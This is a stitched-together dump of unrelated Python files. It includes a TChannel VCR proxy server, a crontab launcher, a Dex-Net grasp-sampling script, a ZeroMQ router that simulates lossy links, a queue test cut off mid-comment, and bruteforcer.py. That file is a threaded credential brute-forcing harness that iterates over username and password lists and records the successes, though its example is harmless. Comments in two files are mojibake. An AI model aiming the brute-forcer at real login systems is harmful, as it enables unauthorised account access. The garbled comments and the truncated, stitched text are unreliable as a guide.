def some(seq):
"Return some element of seq that is true."
for e in seq:
if e: return e
return False
def sudokuCoz2():
deneme = 1
while deneme:
txt = "C:\\Users\\Gรถkรงe Yฤฑlmaz\\Desktop\\SamuraiSudokuSolver\\sudoku.txt"
try:
f = open(txt, 'r')
deneme = 0
except FileNotFoundError:
print("Dosya bulunamadฤฑ.")
samurai_grid = f.read().split('\n')
print(samurai_grid)
degerler_ayristir(samurai_grid)
print("5 Thread ile harcanan zaman: " + str(time.time() - threadTime))
|
server.py
|
# Copyright (c) 2015 Uber Technologies, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from __future__ import absolute_import
import random
import threading
from functools import wraps
from tornado import gen
from tornado.ioloop import IOLoop
from tchannel.errors import TChannelError
from tchannel import TChannel
from . import proxy
def wrap_uncaught(func=None, reraise=None):
"""Catches uncaught exceptions and raises VCRServiceErrors instead.
:param reraise:
Collection of exception clasess that should be re-raised as-is.
"""
reraise = reraise or ()
def decorator(f):
@wraps(f)
@gen.coroutine
def new_f(*args, **kwargs):
try:
result = yield gen.maybe_future(f(*args, **kwargs))
except Exception as e:
if any(isinstance(e, cls) for cls in reraise):
# TODO maybe use traceback.format_exc to also send a
# traceback?
raise e
raise proxy.VCRServiceError(e.message)
else:
raise gen.Return(result)
return new_f
if func is not None:
return decorator(func)
else:
return decorator
class VCRProxyService(object):
def __init__(self, cassette, unpatch):
"""
:param unpatch:
A function returning a context manager which temporarily unpatches
any monkey patched code so that a real request can be made.
:param cassette:
Cassette being played.
"""
self.unpatch = unpatch
self.cassette = cassette
self.io_loop = None
self.thread = None
self.tchannel = None
self._running = threading.Event()
@wrap_uncaught(reraise=(
proxy.CannotRecordInteractionsError,
proxy.NoPeersAvailableError,
proxy.RemoteServiceError,
proxy.VCRServiceError,
))
@gen.coroutine
def send(self, request):
cassette = self.cassette
request = request.body.request
# TODO decode requests and responses based on arg scheme into more
# readable formats.
# Because Thrift doesn't handle UTF-8 correctly right now
request.serviceName = request.serviceName.decode('utf-8')
request.endpoint = request.endpoint.decode('utf-8')
# TODO do we care about hostport being the same?
if cassette.can_replay(request):
vcr_response = cassette.replay(request)
raise gen.Return(vcr_response)
if cassette.write_protected:
raise proxy.CannotRecordInteractionsError(
'Could not find a matching response for request %s and the '
'record mode %s prevents new interactions from being '
'recorded. Your test may be performing an unexpected '
'request.' % (str(request), cassette.record_mode)
)
peers = []
if request.hostPort:
peers = [request.hostPort]
else:
peers = request.knownPeers
if not peers:
raise proxy.NoPeersAvailableError(
'Both, hostPort and knownPeers were empty or unset. '
'One of them must be specified and non-empty.'
)
arg_scheme = proxy.ArgScheme.name_of(request.argScheme).lower()
with self.unpatch():
# TODO propagate other request and response parameters
# TODO might make sense to tag all VCR requests with a protocol
# header of some kind
response_future = self.tchannel._dep_tchannel.request(
service=request.serviceName,
arg_scheme=arg_scheme,
hostport=random.choice(peers),
).send(
request.endpoint,
request.headers,
request.body,
headers={h.key: h.value for h in request.transportHeaders},
)
# Don't actually yield while everything is unpatched.
try:
response = yield response_future
except TChannelError as e:
raise proxy.RemoteServiceError(
code=e.code,
message=e.message,
)
response_headers = yield response.get_header()
response_body = yield response.get_body()
vcr_response = proxy.Response(
code=response.status_code,
headers=response_headers,
body=response_body,
)
cassette.record(request, vcr_response)
raise gen.Return(vcr_response)
@property
def hostport(self):
return self.tchannel.hostport
def _run(self):
self.io_loop = IOLoop()
self.io_loop.make_current()
self.tchannel = TChannel('proxy-server')
# Hack around legacy TChannel
from tchannel.thrift import rw as thriftrw
thriftrw.register(
self.tchannel._dep_tchannel._handler,
proxy.VCRProxy,
handler=self.send,
)
self.tchannel.listen()
self._running.set()
self.io_loop.start()
def start(self):
self.thread = threading.Thread(target=self._run)
self.thread.start()
self._running.wait(1)
def stop(self):
self.tchannel._dep_tchannel.close()
self.tchannel = None
self.io_loop.stop()
self.io_loop = None
self.thread.join(1) # seconds
self.thread = None
def __enter__(self):
self.start()
return self
def __exit__(self, *args):
self.stop()
|
main.py
|
# !/usr/bin/env python
# coding=utf-8
import logging
import os
import sys
import getopt
import threading
import utils
import glob
from job import *
from monitor import *
opts, args = getopt.getopt(sys.argv[1:], "e:", "env=")
env = 'test'
for opt, value in opts:
if opt == '--env':
env = value
elif opt == '-e':
env = value
if env == 'test':
import config.test_config as config
else:
import config.online_config as config
# ๆ นๆฎๅผๅ็ฏๅข้
็ฝฎ
opts, args = getopt.getopt(sys.argv[1:], "e:", "env=")
env = 'test'
for opt, value in opts:
if opt == '--env':
env = value
elif opt == '-e':
env = value
if env == 'test':
import config.test_config as config
elif env == 'local':
import config.local_config as config
else:
import config.online_config as config
logging.basicConfig()
if __name__ == '__main__':
print 'Crontab Server(PID:%s) Started!' % os.getpid()
try:
# ๅ ้คๅไธชไปปๅกpidๆไปถ
print "ๆธ
็ฉบpidๆไปถ"
pid_list = glob.glob('/tmp/crontab_*')
for pid_file in pid_list:
os.remove(pid_file)
# ่ฎกๅไปปๅก้
็ฝฎ่กจ
crontab_list = utils.get_config_file()
# ๅๅงๅไปปๅก
job_handle = Job(config)
job_handle.add_job()
# ็ๅฌ้
็ฝฎๆไปถๆนๅจ
file_monitor_thread = threading.Thread(target=Monitor(crontab_list, job_handle).auto_compile, name="monitor_files")
file_monitor_thread.start()
# ็ๅฌๅๅฐไผ ่พ
socket_thread = threading.Thread(target=sock(config).run, name="run_socket")
socket_thread.start()
except (KeyboardInterrupt, SystemExit):
traceback.print_exc()
|
generate-dataset-canny.py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# python3
# Author : Hongzhuo Liang
# E-mail : liang@informatik.uni-hamburg.de
# Description:
# Date : 20/05/2018 2:45 PM
# File Name : generate-dataset-canny.py
import numpy as np
import sys
import pickle
from dexnet.grasping.quality import PointGraspMetrics3D
from dexnet.grasping import GaussianGraspSampler, AntipodalGraspSampler, UniformGraspSampler, GpgGraspSampler
from dexnet.grasping import RobotGripper, GraspableObject3D, GraspQualityConfigFactory, PointGraspSampler
import dexnet
from autolab_core import YamlConfig
from meshpy.obj_file import ObjFile
from meshpy.sdf_file import SdfFile
import os
import multiprocessing
import matplotlib.pyplot as plt
plt.switch_backend('agg') # for the convenient of run on remote computer
#sys.path()
#่พๅ
ฅๆไปถๅคนๅฐๅ๏ผ่ฟๅไธไธชๅ่กจ๏ผๅ
ถไธญไฟๅญ็ๆฏๆไปถๅคนไธญ็ๆไปถๅ็งฐ
def get_file_name(file_dir_):
file_list = []
for root, dirs, files in os.walk(file_dir_):
#ๅฐไธไธๅฑๅญๆไปถๅคน็ๅฐๅไฟๅญๅฐ file_list ไธญ
if root.count('/') == file_dir_.count('/') + 1:
file_list.append(root)
#ๆๅบ
file_list.sort()
return file_list
"""
\brief: ๅๅปบๅค็บฟ็จ๏ผๅค็บฟ็จ่ฐ็จworkerๅฝๆฐ๏ผๅค็ๆๅฎ็ๆจกๅ๏ผ
"""
def do_job(i): #ๅค็ๅฝๆฐ ๅค็็ฌฌiไธชๆจกๅ
#ๆ นๆฎidๅท๏ผๆชๅๅฏนๅบ็็ฎๆ ๆจกๅๅ็งฐ
object_name = file_list_all[i].split('/')[-1]
"""
good_grasp = multiprocessing.Manager().list() #ๅ่กจ
# grasp_amount per friction: 20*40 ๅ
ฑๅผ50ไธชๅญ็บฟ็จๅ่ฟไปถไบ
p_set = [multiprocessing.Process(target=worker, args=(i, 100, 20, good_grasp)) for _ in
range(50)]
#ๅผๅงๅค็บฟ็จ๏ผๅนถ็ญๅพ
็ปๆ
[p.start() for p in p_set]
[p.join() for p in p_set]
good_grasp = list(good_grasp)
"""
#ๅๅปบ็ฉบๅ่กจ
good_grasp=[]
#ๆง่กworker๏ผๅฐ้ๆ ท็ๆๅ็ปๆๆพๅฐgood_graspไธญ
worker(i, 100, 20, good_grasp)
#ๅฏนCADๆจกๅ่ฟ่กAntipod้ๆ ทๅนถ็ญ้ๅพๅฐ็ๅ้ๆๅ
good_grasp_file_name = os.environ['HOME']+"/dataset/PointNetGPD/ycb_grasp/{}_{}_{}".format(filename_prefix, str(object_name), str(len(good_grasp)))
#ๅๅปบไธไธชpickleๆไปถ๏ผๅฐgood_graspไฟๅญ่ตทๆฅ
with open(good_grasp_file_name + '.pickle', 'wb') as f:
pickle.dump(good_grasp, f)
tmp = []
for grasp in good_grasp:
grasp_config = grasp[0].configuration
score_friction = grasp[1]
score_canny = grasp[2]
tmp.append(np.concatenate([grasp_config, [score_friction, score_canny]]))
np.save(good_grasp_file_name + '.npy', np.array(tmp))
print("finished job ", object_name)
def do_jobs(i):
print("tesk id", i)
def worker(i, sample_nums, grasp_amount, good_grasp): #ไธป่ฆๆฏๆๅ้ๆ ทๅจไปฅๅๆๅ 100 20
"""
brief: ๅฏนๅถๅฎ็ๆจกๅ๏ผๅฉ็จ้ๆบ้ๆ ท็ฎๆณ๏ผ่ฟ่กๆๅๅงฟๆ็ๆฃๆตๅๆๅ
param [in] i ๅค็็ฌฌiไธชmeshๆจกๅ
param [in] sample_nums ๆฏไธชๅฏน่ฑกๆจกๅ่ฟๅ็็ฎๆ ๆๅๆฐ้
param [in] grasp_amount
"""
#ๆชๅ็ฎๆ ๅฏน่ฑกๅ็งฐ
object_name = file_list_all[i][len(home_dir) + 35:]
print('a worker of task {} start'.format(object_name))
#่ฏปๅๅๅง้
็ฝฎๆไปถ๏ผ่ฏปๅๅนถๅจๅ
ๅญไธญๅคๅถไบไธไปฝ
yaml_config = YamlConfig(home_dir + "/code/dex-net/test/config.yaml")
#่ฎพ็ฝฎๅคนๅ็งฐ
gripper_name = 'panda'
#ๆ นๆฎ่ฎพ็ฝฎ็ๅคน็ชๅ็งฐๅ ่ฝฝๅคน็ช้
็ฝฎ
gripper = RobotGripper.load(gripper_name, home_dir + "/code/dex-net/data/grippers")
#่ฎพ็ฝฎๆๅ้ๆ ท็ๆนๆณ
grasp_sample_method = "antipodal"
if grasp_sample_method == "uniform":
ags = UniformGraspSampler(gripper, yaml_config)
elif grasp_sample_method == "gaussian":
ags = GaussianGraspSampler(gripper, yaml_config)
elif grasp_sample_method == "antipodal":
#ไฝฟ็จๅฏนๆ ็นๆๅ๏ผ่พๅ
ฅๅคน็ชไธ้
็ฝฎๆไปถ
ags = AntipodalGraspSampler(gripper, yaml_config)
elif grasp_sample_method == "gpg":
ags = GpgGraspSampler(gripper, yaml_config)
elif grasp_sample_method == "point":
ags = PointGraspSampler(gripper, yaml_config)
else:
raise NameError("Can't support this sampler")
print("Log: do job", i)
#่ฎพ็ฝฎobjๆจกๅๆไปถไธsdfๆไปถ่ทฏๅพ
if os.path.exists(str(file_list_all[i]) + "/google_512k/nontextured.obj") and os.path.exists(str(file_list_all[i]) + "/google_512k/nontextured.sdf"):
of = ObjFile(str(file_list_all[i]) + "/google_512k/nontextured.obj")
sf = SdfFile(str(file_list_all[i]) + "/google_512k/nontextured.sdf")
else:
print("can't find any obj or sdf file!")
raise NameError("can't find any obj or sdf file!")
#ๆ นๆฎ่ทฏๅพ่ฏปๅๆจกๅไธsdfๆไปถ
mesh = of.read()
sdf = sf.read()
#ๆๅปบๆๅๆจกๅ็ฑป
obj = GraspableObject3D(sdf, mesh)
print("Log: opened object", i + 1, object_name)
#########################################
#่ฎพ็ฝฎ
force_closure_quality_config = {} #่ฎพ็ฝฎๅ้ญๅ ๅญๅ
ธ
canny_quality_config = {}
#็ๆไธไธช่ตท็นๆฏ2.0็ป็นๆฏ0.75 ๆญฅ้ฟไธบ-0.4 ๏ผ้ๅ๏ผ็็ญ่ทๆฐๅfc_list_sub1 (2.0, 0.75, -0.4)
fc_list_sub1 = np.arange(2.0, 0.75, -0.3)
#็ๆไธไธช่ตท็นๆฏ0.5็ป็นๆฏ0.36 ๆญฅ้ฟไธบ-0.05็็ญ่ทๆฐๅfc_list_sub2 (0.5, 0.36, -0.05)
fc_list_sub2 = np.arange(0.5, 0.36, -0.1)
#ๅฐไธ้ขไธคไธชๅ้ๆฅ่ตทๆฅ๏ผๅๆไธไธช้ฟๆกๅ้๏ผไฝฟ็จไธๅ็ๆญฅ้ฟ๏ผ็ฎ็ๆฏไธบไบๅจๆดๅฐๆฉๆฆๅ็ๆถๅ๏ผๆๆดๅค็ๅ่พจ็
fc_list = np.concatenate([fc_list_sub1, fc_list_sub2])
print("ๅคๆญๆฉๆฆ็ณปๆฐ")
print(fc_list)
for value_fc in fc_list:
#ๅฏนvalue_fcไฟ็2ไฝๅฐๆฐ๏ผๅ่ไบๅ
ฅ
value_fc = round(value_fc, 2)
#ๆดๆนๅ
ๅญไธญ้
็ฝฎไธญ็ๆฉๆฆ็ณปๆฐ๏ผ่ๆฒกๆไฟฎๆน็กฌ็ไธญ็yamlๆไปถ
yaml_config['metrics']['force_closure']['friction_coef'] = value_fc
yaml_config['metrics']['robust_ferrari_canny']['friction_coef'] = value_fc
#ๆๆฏไธชๆฉๆฆๅๅผๅฝๆ้ฎ๏ผ
force_closure_quality_config[value_fc] = GraspQualityConfigFactory.create_config(
yaml_config['metrics']['force_closure'])
canny_quality_config[value_fc] = GraspQualityConfigFactory.create_config(
yaml_config['metrics']['robust_ferrari_canny'])
#####################ๅๅคๅผๅง้ๆ ท############################
#ๅกซๅ
ไธไธชไธๆฉๆฆๆฐ้็ธๅ็ๆฐ็ป๏ผๆฏไธชๅฏนๅบ็ๅ
็ด ้ฝๆฏ0
good_count_perfect = np.zeros(len(fc_list))
count = 0
#่ฎพ็ฝฎๆฏไธชๆฉๆฆๅผ้่ฆ่ฎก็ฎ็ๆๅฐๆๅๆฐ้ ๏ผๆ นๆฎๆๅฎ่พๅ
ฅๅผ20๏ผ
minimum_grasp_per_fc = grasp_amount
#ๅฆๆๆฏไธชๆฉๆฆ็ณปๆฐไธ๏ผๆๆ็ๆๅ(ๆปก่ถณๅ้ญๅๆ่
ๅ
ถไปๅคๆญๆ ๅ)ๅฐไบ่ฆๆฑๅผ๏ผๅฐฑไธ็ดๅพช็ฏๆฅๆพ๏ผ็ดๅฐๆๆๆฉๆฆ็ณปๆฐๆกไปถไธ่ณๅฐ้ฝๅญๅจ20ไธชๆๆๆๅ
while np.sum(good_count_perfect < minimum_grasp_per_fc) != 0:
#ๅผๅงไฝฟ็จantipodes sample่ทๅพๅฏนๆ ้ๆบๆๅ๏ผๆญคๆถๅนถไธๅคๆญๆฏๅฆๆปก่ถณๅ้ญๅ๏ผๅชๆฏๅ
้้ๆปก่ถณๅคน็ชๆกไปถ็ๆๅ
#ๅฆๆไธ่ฝฎๅคๆฌก้ๆบ้ๆ ทไนๅ๏ผๅ็ฐๆ ๆณ่ทๅพๆๅฎๆฐ้็้ๆบๆๅ๏ผๅฐฑไผ้ๅค่ฟญไปฃ่ฎก็ฎ3ๆฌก๏ผไนๅๆพๅผ๏ผๅนถๆๅทฒ็ปๆพๅฐ็ๆๅ่ฟๅๆฅ
grasps = ags.generate_grasps(obj, target_num_grasps=sample_nums, grasp_gen_mult=10,max_iter=10,
vis=False, random_approach_angle=True)
count += len(grasps)
#ๅพช็ฏๅฏนๆฏไธช้ๆ ทๆๅ่ฟ่กๅคๆญ
for j in grasps:
tmp, is_force_closure = False, False
#ๅพช็ฏๅฏนๆไธช้ๆ ทๆๅๅบ็จไธๅ็ๆๅๆฉๆฆ็ณปๆฐ๏ผๅคๆญๆฏๅฆๆฏๅ้ญๅ
for ind_, value_fc in enumerate(fc_list):
value_fc = round(value_fc, 2)
tmp = is_force_closure
#ๅคๆญๅจๅฝๅ็ปๅฎ็ๆฉๆฆ็ณปๆฐไธ๏ผๆๅๆฏๅฆๆฏๅ้ญๅ็
is_force_closure = PointGraspMetrics3D.grasp_quality(j, obj,
force_closure_quality_config[value_fc], vis=False)
#ๅ่ฎพๅฝๅ,1ๅทๆฉๆฆๅไธบ1.6 ๆๅไธๆฏๅ้ญๅ็๏ผไฝๆฏไธไธไธช0ๅทๆฉๆฆ็ณปๆฐ2.0 ๆกไปถไธๆๅๆฏๅ้ญๅ็
if tmp and not is_force_closure:
#ๅฝ0ๅท2.0ๆฉๆฆ็ณปๆฐๆกไปถไธ้ๆ ท็goodๆๅๆฐ้่ฟไธ่ถณๆๅฎ็ๆไฝๆฐ้20
if good_count_perfect[ind_ - 1] < minimum_grasp_per_fc:
#ไปฅ0ๅทๆฉๆฆ็ณปๆฐไฝไธบ่พน็
canny_quality = PointGraspMetrics3D.grasp_quality(j, obj,
canny_quality_config[
round(fc_list[ind_ - 1], 2)],
vis=False)
good_grasp.append((j, round(fc_list[ind_ - 1], 2), canny_quality))
#ๅจ0ๅท็ณปๆฐ็goodๆๅไธ่ฎกๆฐๅ 1
good_count_perfect[ind_ - 1] += 1
#ๅฝๅๆๅj็่พน็ๆฉๆฆ็ณปๆฐๆพๅฐไบ๏ผ้ๅบๆฉๆฆๅพช็ฏ๏ผๅคๆญไธไธไธชๆๅ
break
#ๅฆๆๅฝๅ1ๅทๆฉๆฆ็ณปๆฐ1.6ๆกไปถไธ๏ผ่ฏฅๆๅjๆฌ่บซๅฐฑๆฏๅ้ญๅ็๏ผไธๆฉๆฆ็ณปๆฐๆฏๅ่กจไธญ็ๆๅไธไธช๏ผๆๆ็ๆฉๆฆ็ณปๆฐ้ฝๅคๆญๅฎไบ๏ผ
elif is_force_closure and value_fc == fc_list[-1]:
if good_count_perfect[ind_] < minimum_grasp_per_fc:
#ไปฅๅฝๅๆฉๆฆ็ณปๆฐไฝไธบ่พน็
canny_quality = PointGraspMetrics3D.grasp_quality(j, obj,
canny_quality_config[value_fc], vis=False)
good_grasp.append((j, value_fc, canny_quality))
good_count_perfect[ind_] += 1
#ๅฝๅๆๅjๅ
ณไบๅฝๅๆฉๆฆ็ณปๆฐ1.6ๅคๆญๅฎๆฏ๏ผ่ไธๆปก่ถณๆๆ็ๆฉๆฆ็ณปๆฐ๏ผๅฐฑๆขๅฐไธไธไธชๆฉๆฆ็ณปๆฐ
break
print('Object:{} GoodGrasp:{}'.format(object_name, good_count_perfect)) #ๅคๆญ
object_name_len = len(object_name)
object_name_ = str(object_name) + " " * (25 - object_name_len)
if count == 0:
good_grasp_rate = 0
else:
good_grasp_rate = len(good_grasp) / count
print('Gripper:{} Object:{} Rate:{:.4f} {}/{}'.
format(gripper_name, object_name_, good_grasp_rate, len(good_grasp), count))
if __name__ == '__main__':
if len(sys.argv) > 1:
filename_prefix = sys.argv[1]
else:
filename_prefix = "default"
home_dir = os.environ['HOME']
#ๅญๆพCADๆจกๅ็ๆไปถๅคน
file_dir = home_dir + "/dataset/PointNetGPD/ycb_meshes_google/objects" #่ทๅๆจกๅ็่ทฏๅพ
file_list_all = get_file_name(file_dir) #่ฟๅไธไธชๅ่กจ๏ผๅ
ๅซ็ฉไฝ
object_numbers = file_list_all.__len__() #่ทๅๆไปถๅคนไธญ็ฉไฝๆฐ้
job_list = np.arange(object_numbers) #่ฟๅไธไธช้ฟๅบฆไธบobject_numbers็ๅ
็ป 0 1 2 3 ...
job_list = list(job_list) #่ฝฌๆขไธบๅ่กจ
#่ฎพ็ฝฎๅๆถๅฏนๅ ไธชๆจกๅ่ฟ่ก้ๆ ท
pool_size = 40
assert (pool_size <= len(job_list))
# Initialize pool
pool = [] #ๅๅปบๅ่กจ
for _ in range(pool_size): #ๆณๅค็บฟ็จๅค็ๅคไธชๆจกๅ๏ผไฝๆฏๅฎ้
ไธๆฌไปฃ็ ๆฏๆฌกๅชๅค็ไธไธช
job_i = job_list.pop(0) #ๅ ้คๆ็ฌฌ0ๅทๅผ๏ผๅนถๆjob_i่ตไบ0ๅทๅผ
pool.append(multiprocessing.Process(target=do_job, args=(job_i,))) #ๅจpoolๆซๅฐพๆทปๅ ๅ
็ด
[p.start() for p in pool] #ๅฏๅจๅค็บฟ็จ
# refill
while len(job_list) > 0: #ๅฆๆๆไบๆฒกๅค็ๅฎ
for ind, p in enumerate(pool):
if not p.is_alive():
pool.pop(ind)
job_i = job_list.pop(0)
p = multiprocessing.Process(target=do_job, args=(job_i,))
p.start()
pool.append(p)
break
print('All job done.')
|
router.py
|
import zmq
import threading
import queue
import time
import random
class Router():
"""
Router Limited to localhost
"""
def __init__(self, routes, CURVE=False):
self.routes = routes
# self.connectionTimeout = 2000
self.connectionTimeout = 1800
self.protocol = 'tcp'
self.serverSockets = {}
self.clientSockets = {}
self.CURVE = CURVE
self.termination = False
self.latency_range = [800, 1200]
self.drop_msg_prob = 0.95
self.drop_msg_period = 1000 * 10 # 10 seconds in milliseconds
# self.drop_msg_period = 1000 * 5 # 10 seconds in milliseconds
self.last_drop_msg_time = None
self.use_latency = False
self.use_drop_msg = True
if self.CURVE:
self.createServerSocket = self._createServerSocket_CURVE
self.createClientSocket = self._createClientSocket_CURVE
else:
self.createServerSocket = self._createServerSocket_simple
self.createClientSocket = self._createClientSocket_simple
self.changeTime = time.time() + 75
def start(self):
for routeID in range(len(self.routes)):
self.createServerSocket(routeID)
self.createClientSocket(routeID)
msgQueue = queue.Queue()
server_thread = threading.Thread(target=self.run_server, args=[routeID, msgQueue])
client_thread = threading.Thread(target=self.run_client, args=[routeID, msgQueue])
server_thread.start()
client_thread.start()
def run_server(self, routeID, msgQueue):
serverSocket = self.serverSockets[routeID]
while not self.termination:
try:
msg = serverSocket.recv_multipart()
except Exception as e:
continue
msgQueue.put([msg, time.time()])
def run_client(self, routeID, msgQueue):
clientSocket = self.clientSockets[routeID]
serverSocket = self.serverSockets[routeID]
changed = False
while not self.termination:
try:
msg, arrival_time = msgQueue.get(timeout=self.connectionTimeout/1000)
except Exception as e:
continue
delay = self.compute_latency(arrival_time)
if delay > 0:
print("total delay:", delay)
time.sleep(delay)
if self.toDropMsg():
print("Dropping Msg!")
continue
clientID = msg[0]
clientSocket.send_multipart(msg[1:])
try:
RESP = clientSocket.recv()
except Exception as e:
continue
serverSocket.send_multipart([clientID, RESP])
if self.changeTime <= time.time() and not changed:
changed = True
self.connectionTimeout = 1000
clientSocket.RCVTIMEO = self.connectionTimeout
serverSocket.RCVTIMEO = self.connectionTimeout
self.use_drop_msg = False
print("CHANGED!!!")
def compute_latency(self, arrival_time):
if self.use_latency:
latency = random.uniform(self.latency_range[0], self.latency_range[1])
current_time = time.time()
delay = arrival_time + latency/1000 - current_time
return delay
else:
return 0
def toDropMsg(self):
if not self.use_drop_msg:
return False
toDrop = False
if self.last_drop_msg_time is None:
self.last_drop_msg_time = time.time()
if time.time() - self.last_drop_msg_time > self.drop_msg_period / 1000:
self.last_drop_msg_time = time.time()
if random.random() < self.drop_msg_prob:
toDrop = True
return toDrop
def _createServerSocket_simple(self, routeID):
context = zmq.Context()
socket = context.socket(zmq.ROUTER)
socket.RCVTIMEO = self.connectionTimeout
port = self.routes[routeID][0]
addr = "{0}://*:{1}".format(self.protocol, port)
socket.bind(addr)
self.serverSockets[routeID] = socket
return socket
def _createClientSocket_simple(self, routeID):
context = zmq.Context()
socket = context.socket(zmq.DEALER)
routeID_bin = str.encode(chr(routeID))
socket.setsockopt(zmq.IDENTITY, routeID_bin)
IP, port = '127.0.0.1', self.routes[routeID][1]
addr = "{0}://{1}:{2}".format(self.protocol, IP, port)
socket.RCVTIMEO = self.connectionTimeout
socket.connect(addr)
socket.connect(addr)
self.clientSockets[routeID] = socket
return socket
def _createServerSocket_CURVE(self):
pass
def _createClientSocket_CURVE(self):
pass
def terminate(self):
self.termination = True
def createRouter(raftConfigs):
servers = {}
routes = []
for raftParams in raftConfigs:
for k,v in raftParams['servers'].items():
if k not in servers:
servers[k] = v
for raftParams in raftConfigs:
input_port = servers[raftParams['serverID']][-1]
output_port = raftParams['port']
routes.append([input_port, output_port])
router_instance = Router(routes)
return router_instance
|
bruteforcer.py
|
import os
import time
import json
import queue
import threading
import itertools
class Bruteforcer(object):
def __init__(self, number_threads, variables_dict, attempt_fx, stop_on_success=False, successful_attempts_filename="successful_attempts.txt"):
super(Bruteforcer, self).__init__()
self.number_threads = number_threads
self.variables_dict = variables_dict
self.attempt_fx = attempt_fx
self.stop_on_success = stop_on_success
self.successful_attempts_filename = successful_attempts_filename
self.retry_delay = 1
self.JOBS_QUEUE = queue.Queue()
self.terminate_signal = ("<"*64) + "TERMINATE" + (">"*64)
self.red = '\033[0;31m'
self.light_red = '\033[1;31m'
self.green = '\033[0;32m'
self.light_green = '\033[1;32m'
self.orange = '\033[0;33m'
self.yellow = '\033[1;33m'
self.blue = '\033[0;34m'
self.light_blue = '\033[1;34m'
self.purple = '\033[0;35m'
self.light_purple = '\033[1;35m'
self.cyan = '\033[0;36m'
self.light_cyan = '\033[1;36m'
self.light_gray = '\033[0;37m'
self.dark_gray = '\033[1;30m'
self.white = '\033[1;37m'
self.nc = '\033[0m'
self.cycle = True
def kill_all_threads (self):
for i in range(0, self.number_threads):
self.JOBS_QUEUE.put(self.terminate_signal)
def dispatcher_thread (self, tid):
while self.cycle:
item = self.JOBS_QUEUE.get()
if (item == self.terminate_signal):
break
textual_item = str(item)
try: textual_item = json.dumps(item)
except: pass
now = time.perf_counter()
outcome = self.attempt_fx(item)
if (outcome == True):
print (self.green + "[*] Attempt successful for " + textual_item + " (" + str(round(time.perf_counter(), 4)) + " seconds)" + self.nc)
f = open(self.successful_attempts_filename, 'a')
f.write(textual_item + "\n")
f.close()
if (self.stop_on_success == True):
# Stop other threads
self.cycle = False
self.kill_all_threads()
else:
print (self.orange + "[!] Attempt failed for " + textual_item + " (" + str(round(time.perf_counter(), 4)) + " seconds)" + self.nc)
#print (self.JOBS_QUEUE.qsize())
self.JOBS_QUEUE.task_done()
def run (self):
#---------------------------------------------------------------------------------------------------------------------------------
# CREATE N Threads
#---------------------------------------------------------------------------------------------------------------------------------
for i in range(0, self.number_threads):
threading.Thread(target=self.dispatcher_thread, daemon=False, args=(i,)).start()
#---------------------------------------------------------------------------------------------------------------------------------
# EXPAND self.variables_dict
#---------------------------------------------------------------------------------------------------------------------------------
expanded_variables_dict = {}
for k,v in self.variables_dict.items():
if (type(v) == str):
if (os.path.isfile(v) == True):
lines = []
with open(v) as f:
while True:
raw_line = f.readline()
if ((raw_line == None) or (len(raw_line) < 1)):
break
line = raw_line[:-1] if (raw_line[-1] == "\n") else raw_line
lines.append(line)
# f = open(v, 'r')
# lines = f.read().split('\n')
# f.close()
print ("[i] Using \"" + str(k) + "\":" + str(v) + " as a file")
expanded_variables_dict[k] = lines
else:
print ("[i] Converting string in \"" + str(k) + "\" as list")
expanded_variables_dict[k] = [v]
elif (type(v) == int):
print ("[i] Converting int in \"" + str(k) + "\" as list")
expanded_variables_dict[k] = [str(v)]
elif (type(v) == float):
print ("[i] Converting float in \"" + str(k) + "\" as list")
expanded_variables_dict[k] = [str(v)]
elif (type(v) == list):
print ("[i] Variable \"" + str(k) + "\" is ok")
expanded_variables_dict[k] = v
else:
print ("[!] Variable \"" + str(k) + "\" is invalid")
return -1
self.variables_dict = None # Free some RAM
#---------------------------------------------------------------------------------------------------------------------------------
# UNWRAP expanded_variables_dict
#---------------------------------------------------------------------------------------------------------------------------------
keys, values = zip(*expanded_variables_dict.items())
permutations_dicts = [dict(zip(keys, v)) for v in itertools.product(*values)]
print ("[i] Un-wrapping completed, number of permutated dicts: " + str(len(permutations_dicts)))
#---------------------------------------------------------------------------------------------------------------------------------
# POPULATE JOBS_QUEUE
#---------------------------------------------------------------------------------------------------------------------------------
for d in permutations_dicts:
self.JOBS_QUEUE.put(d)
##########################################################################################
# Example
'''
import bruteforcer
def attempt_fx(input_dict):
username = input_dict.get('username')
password = input_dict.get('password')
if (username[0] == "b"):
return True
else:
return False
number_threads = 8
variables_dict = { "username": ["admin", "bill", "user", "demo"], "password": ["demo", "safe", "password"] }
b = bruteforcer.Bruteforcer(number_threads, variables_dict, attempt_fx, stop_on_success=False, successful_attempts_filename="successful_attempts.txt")
b.run()
b.kill_all_threads()
'''
##########################################################################################
|
test_queue.py
|
# Some simple queue module tests, plus some failure conditions
# to ensure the Queue locks remain stable.
import Queue
import time
import unittest
from test import test_support
threading = test_support.import_module('threading')
QUEUE_SIZE = 5
# A thread to run a function that unclogs a blocked Queue.
class _TriggerThread(threading.Thread):
def __init__(self, fn, args):
self.fn = fn
self.args = args
self.startedEvent = threading.Event()
threading.Thread.__init__(self)
def run(self):
# The sleep isn't necessary, but is intended to give the blocking
# function in the main thread a chance at actually blocking before
# we unclog it. But if the sleep is longer than the timeout-based
# tests wait in their blocking functions, those tests will fail.
# So we give them much longer timeout values compared to the
# sleep here (I aimed at 10 seconds for blocking functions --
# they should never actually wait that long - they should make
# progress as soon as we call self.fn()).
time.sleep(0.1)
self.startedEvent.set()
self.fn(*self.args)
# Execute a function that blocks, and in a separate thread, a function that
# triggers the release. Returns the result of the blocking function. Caution:
# block_func must guarantee to block until trigger_func is called, and
# trigger_func must guarantee to change queue state so that block_func can make
# enough progress to return. In particular, a block_func that just raises an
